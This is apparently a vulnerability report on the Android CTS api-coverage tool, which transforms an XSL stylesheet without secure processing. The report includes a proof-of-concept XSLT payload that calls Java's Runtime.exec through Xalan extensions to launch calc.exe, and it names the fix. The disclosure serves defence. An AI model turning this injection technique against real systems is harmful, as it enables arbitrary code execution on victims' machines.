Potential remote code execution in Android Compliance Test Suite (CTS)

CTS parses api-coverage.xsl without providing the FEATURE_SECURE_PROCESSING
option. See lines 60-67 of
cts/tools/cts-api-coverage/src/com/android/cts/apicoverage/HtmlReport.java:

InputStream xsl =
CtsApiCoverage.class.getResourceAsStream("/api-coverage.xsl");
StreamSource xslSource = new StreamSource(xsl);
TransformerFactory factory = TransformerFactory.newInstance();
Transformer transformer = factory.newTransformer(xslSource);

StreamSource xmlSource = new StreamSource(xmlIn);
StreamResult result = new StreamResult(out);
transformer.transform(xmlSource, result);

An attacker who is able to control api-coverage.xsl could inject arbitrary
code into it, which would be executed. For example:

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform";
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime";
xmlns:str="http://xml.apache.org/xalan/java/java.lang.String";

<xsl:output method="text"/>
    <xsl:template match="/">
       <xsl:variable name="Command"><![CDATA[calc.exe]]></xsl:variable>
       <xsl:variable name="RT" select="rt:getRuntime()"/>
       <xsl:variable name="proc" select="rt:exec($RT, $Command)"/>
       <xsl:text>Process: </xsl:text><xsl:value-of select="$proc"/>
    </xsl:template>
</xsl:stylesheet>

Would pop a calc. This crosses a trust boundary because an attacker could
provide an XSL stylesheet that, for example, has enhanced visual layout. A
person consuming that stylesheet would assume it could not possibly contain
arbitrary code that would be executed, as it's just a stylesheet. The XSL
extensions to execute code should be disabled by passing
FEATURE_SECURE_PROCESSING.